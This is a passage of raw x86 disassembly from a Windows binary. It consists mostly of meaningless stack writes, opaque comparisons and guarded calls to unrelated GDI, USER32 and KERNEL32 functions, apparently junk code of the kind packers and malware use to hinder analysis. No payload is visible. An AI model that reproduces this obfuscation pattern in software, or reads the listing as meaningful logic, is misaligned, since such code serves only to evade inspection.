jg 0x45ed4e
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], 0x2395e2de
mov dword [ebp - 0x38], 0x15a6
push 3
mov dword [ebp - 0x20], 0xba80
mov dword [ebp - 8], eax
pop ecx
jmp 0x45ecbe
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xc94], 0xdc164f94
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45ecad
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp eax, 0xe0d1
setg cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc90], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], 0xfffffff9
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 8]
jle 0x45ed0b
xor eax, eax
cmp dword [ebp - 0xc90], eax
je 0x45ed0d
mov ecx, ebx
jmp 0x45ed0f
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
push 0
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xfffa
setne cl
cmp eax, ecx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xf64], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 9
pop eax
jle 0x45ec8d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff0
je 0x45f205
push 3
pop edx
jmp 0x45ed62
xor eax, eax
mov dword [ebp - 0x38], 0x14b7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xfffffff9
push 5
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x45eda0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x115c], 0x92f20920
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x45ed88
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x45edb9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc6c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45eda8
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xc6c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x24], 0x5ebec5ec
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x45ee01
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x570], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x45ede8
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x45ee21
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc4], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x45ee09
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x45ee41
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xeb0], 0xfffffff9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x45ee29
xor eax, eax
mov dword [ebp - 0xc4], eax
jmp 0x45f0d2
mov dword [ebp - 0x14], 9
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45eea1
push 0x186e
push 0x13e4
push 0x2164
push eax
push 0xf1e
push 0x2c5
call edi
push eax
call esi
push eax
push 0xf90
push 0x1417
push 0x16cc
push 0xb06
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jl 0x45f0cc
mov dword [ebp - 0x1c], 0x759951ea
mov dword [ebp - 0x3c], 0x2f1e5c8a
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x45eede
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x110], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x45eeca
xor eax, eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
jl 0x45efa9
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x20], ebx
mov dword [ebp - 8], eax
jmp 0x45ef0a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xf7c], 0x4e7f
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x45eef9
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x570]
cmp eax, 0x57ea
setg cl
cmp ecx, dword [ebp - 0xc4]
jg 0x45ef7e
xor eax, eax
cmp dword [ebp - 0xc4], eax
jne 0x45ef3d
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x45ef3f
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x570]
mov eax, dword [ebp - 0x2c]
add eax, 0x45a8cced
cmp eax, ecx
mov eax, dword [ebp - 0xc0]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x110], ecx
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
push 0
setge dl
mov dword [ebp - 0xf70], edx
dec dword [ebp - 0x1c]
pop eax
jns 0x45eeea
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x45f0c0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x45f0b1
mov dword [ebp - 0x2c], eax
mov ecx, 0xb5bdddd5
mov eax, dword [ebp - 0x14]
push 0xfffffffffffffffb
mov eax, dword [ebp + eax*4 - 0x570]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
cmp ecx, eax
mov eax, dword [ebp - 0xc4]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
xor ebx, ebx
cmp ecx, 0xdee6ee3e
mov eax, dword [ebp + eax*4 - 0x110]
setne bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x570]
cmp edx, eax
pop eax
setle cl
xor ebx, ebx
cmp ecx, eax
setne bl
xor edx, edx
imul ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
dec ebx
cmp ebx, eax
mov eax, dword [ebp - 0x564]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xfff6
inc eax
cmp eax, 0xfffb
jb 0x45f05e
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x45f05e
mov edx, eax
jmp 0x45f061
xor edx, edx
inc edx
mov eax, dword [ebp - 0x110]
xor ecx, ecx
cmp edx, eax
push 0
setg cl
xor edx, edx
mov dword [ebp - 0xeac], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x570]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setl dl
xor eax, eax
sub edx, dword [ebp - 0x14]
inc eax
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x110]
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setge cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x1c]
jns 0x45efc1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x45efb5
xor ebx, ebx
inc ebx
dec dword [ebp - 0x14]
push 3
pop edx
jns 0x45eead
inc dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], edx
jle 0x45ee4c
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f1f8
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45f120
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x310], 0xbdae4f9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45f108
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x45f136
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c0], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45f125
mov dword [ebp - 0x1c], 0xffffffe8
jmp 0x45f192
mov dword [ebp - 0x3c], 0x452a26f3
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jl 0x45f17c
mov edx, dword [ebp - 0x3c]
imul edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
sub edx, 0x4c03
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, 0x85c9e53
setl cl
sub eax, ecx
jne 0x45f17c
mov edx, eax
jmp 0x45f17e
mov edx, ebx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 6
jl 0x45f144
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jne 0x45f1ad
cmp dword [ebp - 0x2c], 0x29c8ddac
jge 0x45f1ad
xor eax, eax
jmp 0x45f1af
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x310], ecx
mov eax, dword [ebp - 0x2c]
add eax, ecx
je 0x45f1d6
xor eax, eax
cmp dword [ebp - 0x310], eax
je 0x45f1d8
mov ecx, ebx
jmp 0x45f1da
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x284868fd
sete al
mov dword [ebp - 0x4c0], eax
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 3
pop edx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jne 0x45ed60
inc dword [ebp - 0x558]
xor eax, eax
cmp dword [ebp - 0x558], 0x19
jge 0x45e9e0
mov dword [ebp - 0x18], 0xad6f2ee
mov dword [ebp - 0x30], 0x7c8748af
mov dword [ebp - 0x3c], 0x11d962ee
mov dword [ebp - 0x3c], 0xa835a23e
mov dword [ebp - 0x38], 0xfa90ef87
mov dword [ebp - 0x24], 0xf0c3
push 3
mov dword [ebp - 8], eax
pop ecx
cmp dword [ebp - 8], ecx
jge 0x45f263
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xe68], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45f24f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x45f29f
mov dword [ebp - 0x20], 0x2ffab8c3
mov dword [ebp - 0x2c], 0x152c58fb
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f285
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
jmp 0x45f2b5
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f2b7
push eax
push 0x1f80
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x45f2c3
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x45f2c5
mov edx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
add ecx, edx
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xe68]
setne dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setle cl
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
cmp ebx, edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x28], 0x257a10dd
mov dword [ebp - 0x3c], 0x6773196e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45f348
push 0xfffffffffffffffb
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x188], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45f334
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x45f367
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11b0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45f353
xor eax, eax
cmp dword [ebp - 0x188], eax
je 0x45f3d6
mov dword [ebp - 8], 0xc4d8e5c
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f398
push eax
push 0xa12
push eax
push 0xdf3
push 0x13b9
call dword [sym.imp.GDI32.dll_ExtCreatePen]
xor eax, eax
mov dword [ebp - 8], 0xe
jmp 0x45f3cb
mov dword [ebp - 0x30], 0x2e31d832
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x45f3c8
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x188], 0x7a3a11c1
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x45f3b0
xor eax, eax
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffff7
jl 0x45f3a1
jmp 0x45f4b0
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x20], 0x571c097b
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 8
jl 0x45f490
mov dword [ebp - 0x28], 0x12a7b09f
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x45f418
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x74], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x45f407
xor eax, eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], eax
jl 0x45f447
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f442
push eax
push 0x6ba
push 0x11ee
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
xor eax, eax
dec dword [ebp - 0x74]
jns 0x45f420
inc dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
cmp ecx, eax
mov eax, dword [ebp - 0x74]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
push 0
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setge cl
add ecx, dword [ebp - 0x74]
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 8
push 1
pop ebx
jge 0x45f3f1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f4b0
push 0x12d5
push 0x789
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
xor eax, eax
push 2
mov dword [ebp - 8], eax
pop ecx
cmp dword [ebp - 8], ecx
jge 0x45f4d5
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x2e8], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45f4bd
xor eax, eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 7
je 0x45f50a
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f4f8
call edi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
inc dword [ebp - 0x2e8]
cmp dword [ebp - 0x2e8], 7
jne 0x45f4e4
push 2
pop ecx
mov dword [ebp - 0x38], 0x9807
mov dword [ebp - 0x28], 0xf43b7c7c
mov dword [ebp - 0x28], 0x97eede0b
mov dword [ebp - 0x28], 0x3248c66
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x28], 0x7fbf2121
mov dword [ebp - 0x28], 0xd7c1188e
mov dword [ebp - 0x28], 0xa754320e
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x45f568
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd10], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x45f550
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x45f588
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1014], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x45f570
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x45f5aa
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1214], 0x210ec320
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x45f591
xor eax, eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], 0x3ae35568
mov dword [ebp - 0x20], 0x8588d0d3
mov dword [ebp - 0x28], 0x244d513c
push 3
mov dword [ebp - 8], eax
pop edx
cmp dword [ebp - 8], edx
jge 0x45f5ec
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x10cc], 0x7182b474
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x45f5d4
xor eax, eax
mov dword [ebp - 0x18], 0xffffffea
jmp 0x45f669
mov dword [ebp - 8], 5
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x6b0], 0x583dc0e3
mov dword [ebp - 0x6ac], 0x583dc0e3
mov dword [ebp - 0x6a8], 0x583dc0e3
mov dword [ebp - 0x6a4], 0x583dc0e3
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ecx
jge 0x45f647
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xf84], 0x7dcd66a0
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45f62f
xor eax, eax
mov dword [ebp - 8], 0xfffffff0
jmp 0x45f65a
mov dword [ebp - 0x20], 0x8ab659d5
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x11
jne 0x45f650
inc dword [ebp - 0x6ac]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
jl 0x45f5f5
mov dword [ebp - 8], 0xa756a336
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x2c]
je 0x45f691
inc dword [ebp - 8]
jmp 0x45f780
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 0x62b9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x45f6c7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x404], 0x7be7e550
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45f6af
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x45f6dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa98], 0x1e0bec03
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45f6cc
mov eax, dword [ebp - 0x400]
neg eax
sbb eax, eax
xor ecx, ecx
add eax, 0xf40eb9a4
mov dword [ebp - 0xa94], eax
setne cl
xor eax, eax
cmp ecx, 0x6a056ebf
setle al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x400]
mov edx, dword [ebp - 0x3c]
sub edx, eax
mov eax, dword [ebp - 0x400]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setne cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x400]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
sub eax, 0x75da
je 0x45f75f
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x45f770
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x45f770
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x45f770
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
mov dword [ebp - 0x20], 0x39ba
mov eax, dword [ebp - 8]
push 3
mov dword [ebp - 0x20], eax
pop edx
xor eax, eax
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x9cc], eax
mov dword [ebp - 0x9c8], eax
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 0x24], 0xc4d8e5c
mov dword [ebp - 0x24], eax
jmp 0x45f7dc
mov dword [ebp - 8], 0xe31d8329
mov dword [ebp - 0x20], 0xed1ad67a
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edx
jg 0x45f7d9
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x9d0], 0
jne 0x45f7d7
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jle 0x45f7bc
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x45f7a6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x45f803
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf94], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x45f7ea
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x45f825
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c8], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x45f80c
xor eax, eax
mov dword [ebp - 0x6c0], eax
jmp 0x45f86d
mov dword [ebp - 0x30], 9
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f849
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x45f867
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xf94], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x45f852
xor eax, eax
inc dword [ebp - 0x6c0]
cmp dword [ebp - 0x6c0], edx
jle 0x45f82d
push 2
pop ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x2c], 0xa7b7e80d
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x3c], 0x9b37d02
mov dword [ebp - 0x30], ebx
mov dword [ebp - 8], 0xfffffff8
mov dword [ebp - 0x20], 0x95a52772
mov dword [ebp - 0x34], 0x82b3f54c
mov dword [ebp - 8], eax
jmp 0x45f8be
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x2f4], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45f8ad
cmp dword [ebp - 0xc], 0x4bc9
jl 0x45f8eb
mov dword [ebp - 0x2c], 9
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2f4]
xor edx, edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, 0x84b7b831
setl dl
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x3c]
sub eax, 0x53423637
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2f4]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 8]
sub ecx, eax
mov eax, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
neg ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jle 0x45f96f
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x45f971
mov eax, ebx
jmp 0x45f971
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x45f97f
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x45f98b
jmp 0x45f981
xor eax, eax
cmp dword [ebp - 0x2f4], eax
je 0x45f98b
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x14]
jl 0x45f99d
xor eax, eax
cmp dword [ebp - 8], eax
je 0x45f99f
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x9ad59e57
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0x5b9b55bb
mov dword [ebp - 0xc], eax
jmp 0x45faa4
mov dword [ebp - 0x24], 0xfffffff9
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45f9d6
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x45fa97
mov dword [ebp - 0x30], 0xbe187950
mov dword [ebp - 0x30], 0xffffffea
cmp dword [ebp - 0x30], 0x1d
jg 0x45fa94
push 3
pop ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x45fa23
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xd54], 0x7ecc
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x45fa0b
xor eax, eax
mov dword [ebp - 0x18], ecx
jmp 0x45fa81
mov dword [ebp - 0x20], 0xa6edad94
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jge 0x45fa51
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x22c], 0xddcd1665
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x45fa38
xor eax, eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], eax
jg 0x45fa7e
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
xor eax, eax
inc dword [ebp - 0x22c]
cmp dword [ebp - 0x22c], eax
jle 0x45fa5f
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jle 0x45fa28
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1d
jle 0x45f9f9
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jne 0x45f9de
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xe
jg 0x45f9bd
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0x274952f3
mov dword [ebp - 0x14], 0x99dada43
mov dword [ebp - 0x3c], 0x132d7af2
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x45fae7
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x60], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x45fad2
xor eax, eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x45fb95
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x60]
xor eax, eax
cmp dword [ebp - 0x60], eax
je 0x45fb1c
mov eax, dword [ebp - 0x14]
